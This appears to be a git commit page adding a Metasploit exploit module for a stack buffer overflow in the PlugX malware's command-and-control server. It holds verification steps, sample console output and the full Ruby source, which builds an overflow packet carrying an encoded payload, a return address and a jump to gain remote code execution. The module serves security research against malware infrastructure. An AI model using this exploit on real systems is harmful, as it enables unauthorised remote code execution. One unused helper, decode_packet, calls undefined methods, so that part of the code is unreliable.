Added PlugX Controller Stack Overflow Module
This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message. This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained. ## Verification Run the PlugX C2 server on a target windows machine. The sample 9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6 is a Plux Type 1 server that works good for testing. - [ ] use exploit/windows/misc/plugx - [ ] set RHOST [ip of target] - [ ] set target 1 - [ ] exploit - [ ] acknowledge the "PeDecodePacket" message on the target Sample output: ``` msf> use exploit/windows/misc/plugx msf exploit(plugx) > set rhost 192.168.161.128 rhost => 192.168.161.128 msf exploit(plugx) > set target 1 target => 1 msf exploit(plugx) > check [*] 192.168.161.128:13579 - "\x03\xB0\x02\x00\x04\x00" [*] 192.168.161.128:13579 The target appears to be vulnerable. msf exploit(plugx) >bug/bundler_fix
parent
c336daec8d
commit
99546330f1
|
@ -0,0 +1,171 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'zlib'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'PlugX Controller Stack Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a Stack buffer overflow in the PlugX Controller (C2 server)
|
||||||
|
},
|
||||||
|
'Author' => 'Professor Plum',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
'AllowWin32SEH' => true
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 0xe000,
|
||||||
|
'BadChars' => '',
|
||||||
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'DisclosureDate' => 'Jul 27 2017',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['PlugX Type I (old)', { 'xor' => 0, 'callebp' => 0x004045c4 }],
|
||||||
|
['PlugX Type I', { 'xor' => 1, 'callebp' => 0x004045c4 }],
|
||||||
|
['PlugX Type II', { 'xor' => 2, 'callebp' => 0x004045c4 }]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultTarget' => 2)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(13579)
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def xor_stream1(key, src)
|
||||||
|
key0 = key1 = key2 = key3 = key
|
||||||
|
dst = ''
|
||||||
|
for i in 0..(src.size - 1)
|
||||||
|
key0 = (key0 + (key0 >> 3) - 0x11111111) & 0xFFFFFFFF
|
||||||
|
key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF
|
||||||
|
key2 = (key2 + 0x44444444 - (key2 << 9)) & 0xFFFFFFFF
|
||||||
|
key3 = (key3 + 0x33333333 - (key3 << 7)) & 0xFFFFFFFF
|
||||||
|
new_key = (key2 + key3 + key1 + key0) & 0xFF
|
||||||
|
res = src[i].ord ^ new_key
|
||||||
|
dst += res.chr
|
||||||
|
end
|
||||||
|
dst
|
||||||
|
end
|
||||||
|
|
||||||
|
def xor_stream1a(key, src)
|
||||||
|
key0 = key1 = key2 = key3 = key
|
||||||
|
dst = ''
|
||||||
|
for i in 0..(src.size - 1)
|
||||||
|
key0 = (key0 + (key0 >> 3) + 3) & 0xFFFFFFFF
|
||||||
|
key1 = (key1 + (key1 >> 5) + 5) & 0xFFFFFFFF
|
||||||
|
key2 = (key2 - 7 - (key2 << 9)) & 0xFFFFFFFF
|
||||||
|
key3 = (key3 - 9 - (key3 << 7)) & 0xFFFFFFFF
|
||||||
|
new_key = (key2 + key3 + key1 + key0) & 0xFF
|
||||||
|
res = src[i].ord ^ new_key
|
||||||
|
dst += res.chr
|
||||||
|
end
|
||||||
|
dst
|
||||||
|
end
|
||||||
|
|
||||||
|
def xor_stream2(key, data)
|
||||||
|
dst = ''
|
||||||
|
for i in 0..(data.size - 1)
|
||||||
|
key = (((key << 7) & 0xFFFFFFFF) - ((key >> 3) & 0xFFFFFFFF) + i + 0x713A8FC1) & 0xFFFFFFFF
|
||||||
|
dst += ((key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ data[i].ord ^ ((key >> 24) & 0xFF)).chr
|
||||||
|
end
|
||||||
|
dst
|
||||||
|
end
|
||||||
|
|
||||||
|
def xor_wrap(key, data)
|
||||||
|
if target['xor'] == 0
|
||||||
|
return xor_stream1a(key, data)
|
||||||
|
elsif target['xor'] == 1
|
||||||
|
return xor_stream1(key, data)
|
||||||
|
elsif target['xor'] == 2
|
||||||
|
return xor_stream2(key, data)
|
||||||
|
end
|
||||||
|
print_status('Unknown PlugX Type')
|
||||||
|
end
|
||||||
|
|
||||||
|
def validate_response(data)
|
||||||
|
if data.nil?
|
||||||
|
print_status('Server closed connection')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
if data.empty?
|
||||||
|
print_status('No response recieved')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
if data.size < 16
|
||||||
|
print_status('Invalid packet')
|
||||||
|
print_status(data.inspect)
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
key = data[0..4].unpack('<I')[0]
|
||||||
|
hdr = xor_wrap(key, data[0..16])
|
||||||
|
_x, _flags, _cmd, comp_size, _uncomp_size, _xx = hdr.unpack('<ISSSSI')
|
||||||
|
if (comp_size + 16) == data.size
|
||||||
|
raw = xor_wrap(key, data[16..-1])
|
||||||
|
print_status(raw.inspect)
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
connect
|
||||||
|
key = rand(0xFFFFFFFF)
|
||||||
|
hh = [key, 0, 0, 0, 0, 0].pack('<ISSSSI')
|
||||||
|
hdr = xor_wrap(key, hh)
|
||||||
|
sock.put([key].pack('<I') + hdr[4..-1])
|
||||||
|
if validate_response(sock.get_once || '')
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def decode_packet(data)
|
||||||
|
key = data[0..4].unpack('<I')
|
||||||
|
_x, flags, _cmd, _comp_size, _uncomp_size, _xx = xorstream2(key, data[0..16]).unpack('<ISSSSI')
|
||||||
|
|
||||||
|
buf = xor_stream(key, data[16..-1])
|
||||||
|
buf = decompress(buf)
|
||||||
|
return the_flags[flags & 0xffff], xx, buf
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("Trying target #{target.name}...")
|
||||||
|
|
||||||
|
l = 0xF008
|
||||||
|
pad = 0x18
|
||||||
|
a = 0x004045c4
|
||||||
|
pktlen = l + pad + 9
|
||||||
|
jmp = "\xe9" + [-pktlen].pack('<I')
|
||||||
|
key = rand(0xFFFFFFFF)
|
||||||
|
hh = [key, 0, 0, pktlen, pktlen, 0].pack('<ISSSSI')
|
||||||
|
hdr = xor_wrap(key, hh)
|
||||||
|
pkt = [key].pack('<I') + hdr[4..-1] + payload.encoded + 'A' * (l - payload.encoded.size) + [a].pack('<I') + 'x' * pad + jmp
|
||||||
|
|
||||||
|
connect
|
||||||
|
sock.put(pkt)
|
||||||
|
|
||||||
|
print_status('waiting for response')
|
||||||
|
validate_response(sock.get_once)
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
handler
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue